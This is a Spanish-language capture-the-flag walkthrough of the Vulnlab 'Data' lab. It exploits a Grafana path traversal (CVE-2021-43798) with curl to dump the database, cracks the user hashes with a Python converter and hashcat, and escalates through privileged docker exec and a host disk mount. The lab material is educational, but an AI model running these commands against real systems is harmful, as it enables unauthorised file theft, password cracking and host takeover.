Data - Writeup (Vulnlab)

Search for a command to run...

No comments yet. Be the first to comment.
Flameshot is one of those tools I end up using all the time. It is simple, lightweight, and just works for quick screenshots. You can capture, annotate, blur sensitive data, and copy straight to the c

After 6 or 7 years on Hack The Box, competing, failing, learning, and coming back again, I finally reached the Top 7 worldwide. The number itself is not what matters most, but everything behind it: ti

Anonymous SMB and NTLM theft enable Kerberoasting; forged silver tickets and MSSQL/token impersonation achieve SYSTEM.

In the Cybersecurity world, paranoia is part of daily life. We usually talk about flaws in terms of exploits, payloads, or bypasses. However, not all failures are due to bugs. Sometimes, it's the product design itself, which can be even more alarming...

INFO: Ports and Services 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 32...

sudo nmap --min-rate 4500 --max-rtt-timeout 1500ms -p- 10.10.117.3

Grafana es una potente herramienta de visualización de datos de código abierto, utilizada principalmente para monitorear y analizar datos de series temporales. Es popular en la industria por su capacidad para integrarse con una variedad de fuentes de datos y su interfaz de usuario intuitiva.

Al pie de la imagen más arriba, en el login, se ve que la versión actual de Grafana es la v8.0.0. Procedo a verificar si es vulnerable y con un simple googling encuentro el siguiente CVE-2021-43798 y un exploit escrito en GoLang. Este CVE esta basado en la vulnerabilidad encontrada por el user j0v, y es un Path Traversal, con el cual nos va a permitir acceder a archivos como /etc/passwd o bajar directamente la base de datos.
Reference –> https://github.com/taythebot/CVE-2021-43798
./exploit -target http://data.local:3000 -file /etc/passwd

Para bajar la base de datos, algo que suena interesante, el help del exploit indica el argumento “-dump-database”

Esto nos volcaría toda la db. Tenemos otro modo mas cómodo con curl y que cumple la misma función, eso si necesitamos ver el exploit lo que explota literalmente el path traversal para replicarlo manualmente, luego lo bajamos como archivo del siguiente modo:
curl -o grafana.db --path-as-is http://data.vl:3000/public/plugins/welcome/../../../../../../../../var/lib/grafana/grafana.db
Podemos abrir cómodamente el archivo .db con DB Browser for SQLite, un freeware tool gráfico, o usar el comando sqlite3. De cualquier modo, obtendremos lo siguiente:

Luego de buscar un poco por internet, familiarizarme como es que realiza el encriptado para intentar crackearlo, verifico esta pagina completa de como explotar y luego crackear los hashes.
Reference: https://vulncheck.com/blog/grafana-cve-2021-43798
Los hashes son creados usando PBKDF2-HMAC-SHA256 El cual puede ser crackeado por HASHCAT.

Siguiendo la lectura de la web, hay una porción de código que junto a los datos de la base que descargamos podríamos generar un formato de hash correcto para pasarlo a hashcat.

Adapto ese codigo a python3:
#!/usr/bin/env python3
# _*_ CODING:UTF8 _*_
# by shkz
import sqlite3
import base64
import hashlib
# Connecting to DB
conn = sqlite3.connect('grafana.db')
cursor = conn.cursor()
cursor.execute("SELECT email, password, salt, rands FROM user WHERE login = 'boris'")
rows = cursor.fetchall()
# Writing to File: hashFile.txt
with open('hashFile.txt', 'w') as hash_file:
for row in rows:
email, password, salt, rands = row
decoded_hash = bytes.fromhex(password)
hash64 = base64.standard_b64encode(decoded_hash).decode('utf-8')
salt64 = base64.standard_b64encode(salt.encode('utf-8')).decode('utf-8')
hash_file.write(f"sha256:10000:{salt64}:{hash64}\n")
conn.close()
print("\nFile created: hashFile.txt\n")
Ejecutando el codigo me lo formatea del siguiente modo:

Si verifico en la listas de ejemplo de hashcat: https://hashcat.net/wiki/doku.php?id=example_hashes. Logro identificar nuestro objetivo:

Crackeamos el archivo hashFile.txt creado con la info del usuario BORIS de la db:
hashcat -m 10900 hashFile.txt ~/w0rd/rockyou.txt
Luego de unos segundos, Cracked!:
Una vez que estoy como Boris, solo resta hacer cat al user.txt y obtener la flag.
Como es costumbre, verifico el sudo:
sudo -l

La salida de SUDO nos dice que podríamos ejecutar docker exec como ROOT.
Luego de revisar el host, las conexiones y demás.. noto que claramente estoy dentro de un contenedor. En principio mediante el LFI había conseguido el /etc/passwd , en donde entre esa lista de users existía grafana:

Si vuelvo al exploit y trato de verificar el nombre del contenedor:
./exploit -file /etc/hostname -target http://data.vl:3000
--> e6ff5b1cbc85
Luego de saber esto estoy listo para ser root del container:
sudo docker exec -it --privileged -u root e6ff5b1cbc85 sh

Verifico los discos:

Monto el disco xvda1 a una carpeta en /mnt/testing, y finalmente leo la flag de root/root.txt:
mkdir -p /mnt/testing
mount /dev/xvda1 /mnt/testing/
cat root/root.txt
Pwn3d!